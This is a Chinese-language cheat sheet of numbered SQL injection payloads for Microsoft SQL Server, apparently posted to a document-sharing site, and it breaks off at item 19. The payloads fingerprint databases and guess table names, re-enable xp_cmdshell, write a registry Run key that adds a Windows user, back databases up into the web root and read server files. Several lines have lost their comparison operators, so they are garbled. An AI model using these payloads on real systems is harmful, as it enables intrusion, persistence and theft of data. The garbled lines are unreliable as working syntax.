SQL注入语句大全.docVIP

SQL注入语句大全 昨天天在这里找了半天没看见，SQL注入语句大全，花了一个给大家整理了一点，希望大家喜欢 SQL注入语句 1、 返回的是连接的数据库名 and db_name()0 2、作用是获取连接用户名 and user0 3、将数据库备份到Web目录下面 ;backup database 数据库名 todisk=c:\inetpub\wwwroot\1.db;-- 4、显示SQL系统版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)-- 5、判断xp_cmdshell扩展存储过程是否存在 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name=xp_cmdshell) 6、恢复xp_cmdshell扩展存储的命令 ;exec master.dbo.sp_addextendedproc xp_cmdshell,e:\inetput\web\xplog70.dll;-- 7、向启动组中写入命令行和执行程序 ;EXEC master.dbo.xp_regwriteHKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\ Run,help1,REG_SZ,cmd.EⅩE /c net user testptlove /add 8、查看当前的数据库名称 and 0 db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())-- 9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令（同第76） 10、则把得到的数据内容全部备份到WEB目录下 ;backup database 数据库名 todisk=c:\inetpub\wwwroot\save.db 11、通过复制CMD创建UNICODE漏洞 ;exec master.dbo.xp_cmdshell copy c:\winnt\system32\cmd.EⅩE c:\inetpub\scripts\cmd.EⅩE 12、遍历系统的目录结构，分析结果并发现WEB虚拟目录 先创建一个临时表：temp;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3nvarchar(255));-- (1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;-- 通过查询temp的内容来获得驱动器列表及相关信息 (2)利用xp_subdirs获得子目录列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- (3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中 ;insert intotemp(id,num1) exec master.dbo.xp_dirtree c:\;-- （实验成功） 13、查看某个文件的内容，可以通过执行xp_cmdsell ;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 14、将一个文本文件插入到一个临时表中 ;bulk insert temp(id) from c:\inetpub\wwwroot\index.asp 15、每完成一项浏览后，应删除TEMP中的所有内容，删除方法是： ;delete from temp;-- 16、浏览TEMP表的方法是： and (select top 1 id from TestDB.dbo.temp)0 假设TestDB是当前连接的数据库名 17、猜解所有数据库名称 and (select count(*) from master.dbo.sysdatabases where name1 and dbid=6)0 dbid=6,7,8分别得到其它库名 18、猜解数据库中用户名表的名称 and (select count(*) from TestDB.dbo.表名)0 若表名存在，则abc.asp工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。 19、判断是否是sysadmin权限 and 1=(SELECT IS_SRVROLEMEMB